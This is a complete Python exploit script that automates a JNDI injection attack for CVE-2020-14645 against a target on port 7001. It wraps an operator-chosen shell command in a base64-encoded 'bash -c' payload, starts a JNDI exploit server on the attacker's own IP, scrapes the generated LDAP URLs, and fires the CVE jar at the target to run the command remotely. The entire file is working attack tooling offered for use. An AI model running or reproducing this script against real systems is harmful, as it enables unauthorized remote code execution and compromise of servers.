exploit.py

#! /usr/bin/python3
import base64
import pexpect
import re
import time
import argparse
import socket





parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', action='store', dest='target', help='your target')
parser.add_argument('-c', '--cmd', action='store', dest='command', help='the command')

args = parser.parse_args()

def get_network_ip():
    """get the local network ip, not loopback 127.*"""
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.connect(('192.168.254.5',80))
    ip = s.getsockname()[0]
    s.close()
    return ip


local_ipaddr = get_network_ip()

def set_payload(cmd:str):

	payload = 'bash -c {echo,' + base64.b64encode(cmd.encode()).decode() + '}|{base64,-d}|{bash,-i}'
	java_payload = 'java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C \'' + payload + '\' -A ' + local_ipaddr
	print(java_payload)
	return java_payload


def get_url(pool:str):
	url_pool = re.findall(r':1389/[\S]{6}',pool)
	print(url_pool)
	return url_pool




def set_idap(target, command):
	payload = set_payload(command)
	handler = pexpect.spawn(payload)
	try:
		handler.expect(pexpect.EOF,timeout=2)
	except:
		pass
	result = handler.before.decode()
	print(result)
	time.sleep(20)
	print(type(result))
	url_list = list(map(lambda x:local_ipaddr + x, get_url(result)))
	print(url_list)
	
	for i in url_list:
		print("java -jar CVE-2020-14645.jar " + i + " http://" + args.target + ":7001")
		exp_handler = pexpect.spawn("java -jar CVE-2020-14645.jar " + i + " http://" + args.target + ":7001")
	time.sleep(2)
	exp_handler.expect('logic', timeout=2)
	print(exp_handler.read().decode().strip())

if __name__ == '__main__':
	set_idap(args.target, args.command)